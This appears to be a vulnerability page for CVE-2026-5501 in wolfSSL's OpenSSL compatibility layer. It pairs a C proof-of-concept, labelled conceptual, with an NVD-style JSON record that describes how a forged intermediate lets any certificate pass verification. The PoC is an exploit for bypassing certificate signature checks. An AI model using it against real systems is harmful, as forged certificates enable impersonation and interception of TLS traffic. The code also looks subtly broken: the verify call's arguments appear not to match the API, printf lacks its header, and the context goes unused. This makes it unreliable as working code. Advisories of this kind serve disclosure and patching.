CVE-2026-5501

/* * PoC for CVE-2026-5501 (Conceptual) * Demonstrates bypassing signature verification in wolfSSL OpenSSL compatibility layer. */ #include <wolfssl/openssl/x509.h> int main() { WOLFSSL_CTX* ctx = wolfSSL_CTX_new(wolfSSLv23_method()); // Load trusted CA store (including the Root that signed the forged intermediate) wolfSSL_CTX_load_verify_locations(ctx, "trusted_root.pem", 0); // 1. Load a valid leaf certificate (e.g., from Let's Encrypt) WOLFSSL_X509* leaf = wolfSSL_X509_load_certificate_file("legit_leaf.pem", SSL_FILETYPE_PEM); // 2. Load a forged intermediate certificate // Crucial: Basic Constraints CA:FALSE, but signed by the trusted Root. WOLFSSL_X509* intermediate = wolfSSL_X509_load_certificate_file("forged_intermediate.pem", SSL_FILETYPE_PEM); // 3. Construct the chain stack STACK_OF(WOLFSSL_X509)* chain = sk_WOLFSSL_X509_new_null(); sk_WOLFSSL_X509_push(chain, intermediate); // 4. Perform verification using the vulnerable compatibility function // In vulnerable versions, this returns WOLFSSL_SUCCESS (1) // even though 'leaf' is not signed by 'intermediate'. int result = wolfSSL_X509_verify_cert(leaf, chain); if (result == WOLFSSL_SUCCESS) { printf("[+] Exploit Successful: Signature verification bypassed!\n"); } else { printf("[-] Verification failed.\n"); } return 0; }

{"cve": {"id": "CVE-2026-5501", "sourceIdentifier": "[email protected]", "published": "2026-04-10T04:17:17.230", "lastModified": "2026-04-27T17:57:21.137", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "wolfSSL_X509_verify_cert in the OpenSSL compatibility layer accepts a certificate chain in which the leaf's signature is not checked, if the attacker supplies an untrusted intermediate with Basic Constraints `CA:FALSE` that is legitimately signed by a trusted root. An attacker who obtains any leaf certificate from a trusted CA (e.g. a free DV cert from Let's Encrypt) can forge a certificate for any subject name with any public key and arbitrary signature bytes, and the function returns `WOLFSSL_SUCCESS` / `X509_V_OK`. The native wolfSSL TLS handshake path (`ProcessPeerCerts`) is not susceptible and the issue is limited to applications using the OpenSSL compatibility API directly, which would include integrations of wolfSSL into nginx and haproxy."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.9.0", "matchCriteriaId": "DA5C710C-46E8-470C-83AF-D33D1A40512D"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl/pull/10102", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}